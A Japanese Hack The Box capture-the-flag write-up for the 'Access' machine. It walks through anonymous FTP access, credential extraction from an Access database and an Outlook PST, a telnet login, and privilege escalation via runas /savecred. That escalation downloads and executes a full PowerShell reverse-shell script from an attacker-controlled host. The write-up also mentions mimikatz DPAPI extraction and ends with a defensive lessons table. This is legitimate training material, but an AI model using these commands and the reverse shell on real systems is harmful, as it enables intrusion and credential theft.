Hack The BoxのWriteup(Access)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Access — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 23/telnet, 80/http
→
FTP匿名ログイン
backup.mdb / Access Control.zip
→
mdb-export
engineer:access4u@security
→
zip解凍 + PST解析
security:4Cc3ssC0ntr0ller
→
Telnetログイン
user.txt ✓
→
cmdkey /list
Administrator savecred発見
→
runas /savecred悪用
PowerShellリバースシェル
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.197
RESULT
PORT   STATE SERVICE
21/tcp open  ftp
23/tcp open  telnet
80/tcp open  http

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 21,23,80 10.129.84.197
RESULT
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet  Microsoft Windows XP telnetd
| telnet-ntlm-info:
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: MegaCorp
Service Info: OSs: Windows, Windows XP
🚨
重要発見: ポート21でFTP匿名ログインが許可されている。 ftp-anonは認証には成功しているが、PASVモードでのディレクトリ一覧取得は 425 Cannot open data connectionで失敗している — このHTB VPN環境ではPASVの データコネクションが不安定な既知の現象で、手動ログイン後にリトライすれば通ることが多い。
PHASE 2

FTP匿名ログイン調査 — backup.mdb / Access Control.zip

FTPで匿名ログインしファイルを取得

BASH
ftp 10.129.84.197
# Name: anonymous / Password: (空でも可)
ftp> ls
ftp> cd Backups
ftp> binary
ftp> get backup.mdb
ftp> cd ../Engineer
ftp> get "Access Control.zip"
RESULT
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
--- /Backups ---
backup.mdb
--- /Engineer ---
Access Control.zip
Access Control.pdf
ZKAccess3.5 Security System.lnk
⚠️
ハマりポイント(本検証でも実際に発生): このラボ環境ではPASV転送が 425 Cannot open data connectionで失敗することがある。対策は、 対話的 ftp クライアント内で passive と入力してPASVモードをオフにする (アクティブモードへ切替)か、curl --ftp-port -でアクティブモードを明示するか、 単純に数回リトライする。wget -m ftp://anonymous:anonymous@TARGET/での 一括取得も同じ問題にぶつかりやすい点に注意。

backup.mdb から資格情報を抽出

BASH
# MDBツールセット(mdbtools)でAccessデータベースのテーブル一覧・内容を確認
mdb-tables backup.mdb
mdb-export backup.mdb auth_user
RESULT
id,login,password
1,admin,admin
2,engineer,access4u@security
3,backup_admin,admin
✅
資格情報を獲得: engineer:access4u@security。 これはZKAccess(入退室管理システム)の監査ログ用データベース(ZKAccess3.5 Security Systemが 利用するもの)で、エンジニア用アカウントの平文パスワードがそのまま格納されていた。

Access Control.zip を解凍 → Outlook PST を取得

BASH
# zipはAES暗号化されており、backup.mdbから得たパスワードで解凍できる
7z x "Access Control.zip" -p'access4u@security'
RESULT
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip

Everything is Ok
Access Control.pst
ℹ️
backup.mdbから得たパスワードが、全く別の場所にあったzipファイルの 解凍パスワードとしてそのまま再利用されている点が、このマシンの重要な気付き (同一パスワードの使い回しが侵入経路を繋いでいる)。

PST(Outlookメール)を解析 — 新しいパスワードの手掛かり

BASH
readpst -tea -m "Access Control.pst"
cat "Access Control.mbox" | less
RESULT (抜粋)
Subject: Password Updated

Hi,
Per your request, the password for the 'security' account has been
changed to 4Cc3ssC0ntr0ller
Regards
✅
新たな資格情報を獲得: security:4Cc3ssC0ntr0ller。 メールボックス内の社内連絡メールに、パスワード変更の平文記録が残っていた。
PHASE 3

Telnetログイン → user.txt

security アカウントでTelnetログイン

BASH
telnet 10.129.84.197
# login: security
# password: 4Cc3ssC0ntr0ller
RESULT
Welcome to Microsoft Telnet Service

login: security
password:
*===============================================
Microsoft Telnet Server.
*===============================================

C:\Users\security>whoami
access\security
✅
認証成功! このマシンでは21(FTP)→mdb→zip→PST→23(telnet)という、 複数のサービスを横断して1本のパスワードチェーンを繋ぐ設計になっている。

user.txt 取得

BASH
C:\Users\security>type C:\Users\security\Desktop\user.txt
RESULT
5013a7e080b19eb40a89e64c5a60e45c
user.txt — ACCESS\security
5013a7e080b19eb40a89e64c5a60e45c
PHASE 4

権限昇格の下調べ — cmdkey /list

保存済み資格情報の確認

BASH
C:\Users\security>cmdkey /list
RESULT
Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator
🚨
重大発見: ZKAccess3.5 Security Systemのショートカットが Administratorとしてrunas /savecredで起動する設定になっており、 そのログイン資格情報がWindows資格情報マネージャに暗号化保存されている。 /savecred付きで保存された資格情報は、同じユーザーアカウント(security)から あらためてrunas /savecredで任意のコマンドをAdministrator権限で実行する ために再利用できる(パスワードそのものを知らなくても実行できる)。
PHASE 5

runas /savecred 悪用 → root.txt

PowerShellリバースシェルの配信準備

PYTHON (admin.ps1)
$client = New-Object System.Net.Sockets.TCPClient("<KALI_IP>",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
  $sendback = (iex $data 2>&1 | Out-String)
  $sendback2 = $sendback + "PS " + (pwd).Path + "> "
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()
}
$client.Close()
BASH
# Kali側でadmin.ps1をホスト
python3 -m http.server 8000

# 別ターミナルでリスナー起動
nc -lnvp 4444

Telnet経由で runas /savecred を実行

BASH
C:\Users\security>runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<KALI_IP>:8000/admin.ps1')"
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.84.197] 49180

PS C:\Windows\system32> whoami
access\administrator
✅
権限昇格成功! /savecred付きで保存された資格情報が存在する状態で あらためてrunas /savecred /user:...を実行すると、保存済みパスワードを使って パスワード入力なしに指定コマンドがその資格情報のユーザー(Administrator)として 実行される。

root.txt 取得

BASH
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
RESULT
2e532cf7b84a2e00c978cc51f78dd03d
root.txt — ACCESS\Administrator
2e532cf7b84a2e00c978cc51f78dd03d

参考: DPAPI/mimikatz経由の代替ルート

NOTE
/savecredで保存された資格情報は、DPAPIのマスターキーさえ復号できれば
平文パスワードそのものを取り出すことも可能(mimikatz dpapi::cred /
dpapi::masterkeyコマンド等)。しかし/savecredが既にrunasでの実行権限を
与えてくれるため、このマシンではDPAPI復号までは不要であり、上記の
runas直接実行だけでroot.txtに到達できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ACCESS\security
5013a7e080b19eb40a89e64c5a60e45c
root.txt — ACCESS\Administrator
2e532cf7b84a2e00c978cc51f78dd03d

使用した脆弱性・設定不備

脆弱性/不備 対象 影響 深刻度 利用方法
FTP匿名アクセス Microsoft ftpd (21/tcp) 内部ファイルの漏洩 High 認証不要でバックアップMDB・暗号化zip・Outlook PSTを取得
Accessデータベースの平文パスワード backup.mdb (auth_user テーブル) 資格情報漏洩 (engineer, admin, backup_admin) Critical mdb-exportで直接テーブル内容をダンプし平文パスワードを取得
パスワードの使い回し zipアーカイブの解凍パスワード 暗号化zip内のPSTファイルへのアクセス High Accessデータベースのパスワードがzip解凍パスワードとしても使われていた
メール本文での平文パスワード通知 Outlook PST内のメール telnetログイン資格情報の漏洩 Medium readpstでPSTを解析し「パスワードを変更しました」メールから新パスワードを取得
runas /savecred の悪用 Windows資格情報マネージャ(cmdkey) 権限昇格 (Administrator) Critical 保存済みAdministrator資格情報を使い、パスワード入力なしで任意コマンドをAdministrator権限で実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン + バージョンスキャン21/ftp, 23/telnet, 80/http(IIS7.5)
2初期ファイル取得FTP匿名ログインbackup.mdb, Access Control.zip
2資格情報1mdb-exportengineer:access4u@security
2資格情報27z解凍 + readpstsecurity:4Cc3ssC0ntr0ller
3初期侵入Telnetログインuser.txt 取得
4権限調査cmdkey /listACCESS\Administrator の savecred を発見
5権限昇格runas /savecred + PowerShellリバースシェルroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
FTPサーバーの匿名ログインが有効で機密ファイルが置かれている FTP匿名アクセスを無効化し、必要な場合は認証付きSFTP等へ移行する。バックアップファイルを公開領域に置かない。
データベース・アーカイブ・メールに平文パスワードが保存されている パスワードを平文で保存・送信しない。データベースはハッシュ化、メールでの資格情報通知は避け、パスワード管理ツールを使う。
複数システム間でパスワードが使い回されている システムごとに固有のパスワードを使用し、使い回しを禁止するパスワードポリシーを徹底する。
runas /savecredでAdministrator資格情報が保存されたまま残っている 一般ユーザーのプロファイルにAdministrator権限の保存済み資格情報を残さない。必要な昇格操作はUAC経由または管理者本人が都度入力する運用にする。
HackTheBox: Access | 完全攻略レポート